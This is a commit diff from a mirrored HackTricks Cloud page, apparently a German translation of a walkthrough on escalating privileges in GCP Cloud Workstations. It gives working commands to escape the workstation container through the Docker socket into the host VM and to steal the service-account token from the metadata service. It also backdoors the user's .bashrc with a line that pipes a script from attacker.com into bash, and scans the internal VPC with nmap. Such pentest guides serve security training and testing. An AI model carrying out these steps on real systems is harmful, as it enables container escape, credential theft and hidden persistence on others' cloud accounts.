gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-03-12 21:22:57 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat

Browse Source
This commit is contained in:
Translator
2026-03-03 15:40:20 +00:00
parent c33f17a6e9
commit 1283da87d5
1 changed files with 22 additions and 17 deletions
Download Patch File Download Diff File Expand all files Collapse all files

39
src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md
View File

@@ -1,22 +1,23 @@
# GCP - Cloud Workstations Privesc
{{#include ../../../banners/hacktricks-training.md}}
### Container Breakout via Docker Socket (Container -> VM -> Project)
Der primäre Privilegien-Eskalationspfad in Cloud Workstations ergibt sich aus der Notwendigkeit, **Docker-in-Docker (DinD)**-Workflows für Entwickler zu unterstützen. Wenn die Workstation-Konfiguration das Docker socket einbindet oder privilegierte Container erlaubt (eine häufige Konfiguration), kann ein Angreifer innerhalb des Workstation-Containers auf die zugrunde liegende Compute Engine VM entkommen und das Service-Account-Token stehlen.
Der primäre Privilegien-Eskalationspfad in Cloud Workstations ergibt sich aus der Anforderung, **Docker-in-Docker (DinD)** Workflows für Entwickler zu unterstützen. Wenn die Workstation-Konfiguration den Docker socket einbindet oder privileged containers erlaubt (eine häufige Konfiguration), kann ein Angreifer innerhalb des Workstation-Containers auf die zugrunde liegende Compute Engine VM entkommen und das service account token stehlen.
**Voraussetzungen:**
- Zugriff auf ein Cloud Workstation-Terminal (per SSH, kompromittierte Sitzung oder gestohlene Anmeldedaten)
- Die Workstation-Konfiguration muss `/var/run/docker.sock` mounten oder privilegierte Container erlauben
- Zugriff auf ein Cloud Workstation-Terminal (über SSH, kompromittierte Sitzung oder gestohlene Zugangsdaten)
- Die Workstation-Konfiguration muss /var/run/docker.sock einbinden oder privileged containers aktivieren
**Architekturkontext:** Die Workstation ist ein Container (Layer 3), der auf einer Docker/Containerd-Runtime (Layer 2) auf einer GCE VM (Layer 1) läuft. Das Docker socket gewährt direkten Zugriff auf die Container-Runtime des Hosts.
**Architektur-Kontext:** Die Workstation ist ein container (Layer 3), der auf einer Docker/Containerd runtime (Layer 2) auf einer GCE VM (Layer 1) läuft. Der Docker socket gewährt direkten Zugriff auf die Container-Runtime des Hosts.
> [!NOTE]
> Das Tool [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automatisiert den vollständigen container escape und öffnet eine root shell auf der Host-VM.
<details>
<summary>Schritt 1: Überprüfen auf Docker socket</summary>
<summary>Schritt 1: Auf Docker socket prüfen</summary>
```bash
# Verify the Docker socket is available
ls -l /var/run/docker.sock
@@ -26,9 +27,9 @@ ls -l /var/run/docker.sock
<details>
<summary>Schritt 2: Escape to the host VM filesystem</summary>
<summary>Schritt 2: Escape to the Host-VM-Filesystem</summary>
Wir starten einen privileged container und mounten das Root-Verzeichnis des Hosts nach `/mnt/host`. Außerdem teilen wir das Netzwerk und den PID namespace des Hosts, um die Sichtbarkeit zu maximieren.
Wir starten einen privileged container und mounten das Root-Verzeichnis des Hosts nach `/mnt/host`. Außerdem teilen wir das Netzwerk und die PID namespace des Hosts, um die Sichtbarkeit zu maximieren.
```bash
# Spawn a privileged container mounting the host's root filesystem
docker run -it --rm --privileged --net=host --pid=host \
@@ -38,13 +39,13 @@ alpine sh
# Inside the new container, chroot into the host
chroot /mnt/host /bin/bash
```
Du hast jetzt eine **root shell auf der zugrunde liegenden Compute Engine VM** (Layer 1).
Sie haben jetzt eine **Root-Shell auf der zugrunde liegenden Compute Engine VM** (Layer 1).
</details>
<details>
<summary>Schritt 3: Steal the VM service account token from IMDS</summary>
<summary>Schritt 3: Den VM-Service-Account-Token aus dem IMDS stehlen</summary>
```bash
# From the host VM, query the Instance Metadata Service
curl -s -H "Metadata-Flavor: Google" \
@@ -61,16 +62,16 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop
</details>
> [!CAUTION]
> **Prüfe die Scopes!**
> Selbst wenn das angehängte Service Account **Editor** ist, kann die VM durch access scopes eingeschränkt sein.
> Wenn du `https://www.googleapis.com/auth/cloud-platform` siehst, hast du vollständigen Zugriff.
> Wenn du nur `logging.write` und `monitoring.write` siehst, bist du auf die **Network Pivot**- und **Persistence**-Vektoren weiter unten beschränkt.
> **Überprüfe die Scopes!**
> Selbst wenn das angehängte Service Account **Editor** ist, kann die VM durch Zugriff-Scopes eingeschränkt sein.
> Wenn du `https://www.googleapis.com/auth/cloud-platform` siehst, hast du vollen Zugriff.
> Wenn du nur `logging.write` und `monitoring.write` siehst, bist du auf die untenstehenden Vektoren **Network Pivot** und **Persistence** beschränkt.
<details>
<summary>Schritt 4: Persistence erreichen (Backdoor the User)</summary>
<summary>Schritt 4: Persistenz erreichen (Backdoor the User)</summary>
Cloud Workstations binden einen persistenten Datenträger unter `/home/user` ein. Da der Container-Benutzer (normalerweise `user`, UID 1000) mit dem Host-Benutzer (UID 1000) übereinstimmt, kannst du in das Home-Verzeichnis des Hosts schreiben. Damit kannst du die Umgebung backdooren, selbst wenn der Workstation-Container neu aufgebaut wird.
Cloud Workstations mounten eine persistente Disk unter `/home/user`. Da der container user (in der Regel `user`, UID 1000) mit dem Host-User (UID 1000) übereinstimmt, kannst du in das Home-Verzeichnis des Hosts schreiben. Das ermöglicht es dir, die Umgebung zu backdooren, selbst wenn der workstation container neu gebaut wird.
```bash
# Check if you can write to the host's persistent home
ls -la /mnt/host/home/user/
@@ -83,9 +84,9 @@ echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
<details>
<summary>Step 5: Network Pivot (Internal VPC Access)</summary>
<summary>Schritt 5: Network Pivot (Interner VPC-Zugriff)</summary>
Da Sie den Host-Netzwerk-Namensraum (`--net=host`) teilen, sind Sie jetzt ein vertrauenswürdiger Knoten im VPC. Sie können nach internen Diensten scannen, die Zugriff basierend auf IP whitelisting erlauben.
Da du den Host-Netzwerk-Namespace (`--net=host`) teilst, bist du jetzt ein vertrauenswürdiger Knoten im VPC. Du kannst nach internen Diensten scannen, die Zugriff basierend auf IP whitelisting erlauben.
```bash
# Install scanning tools on the host (if internet access allows)
apk add nmap
@@ -94,3 +95,7 @@ apk add nmap
nmap -sS -p 80,443,22 10.0.0.0/8
```
</details>
{{#include ../../../banners/hacktricks-training.md}}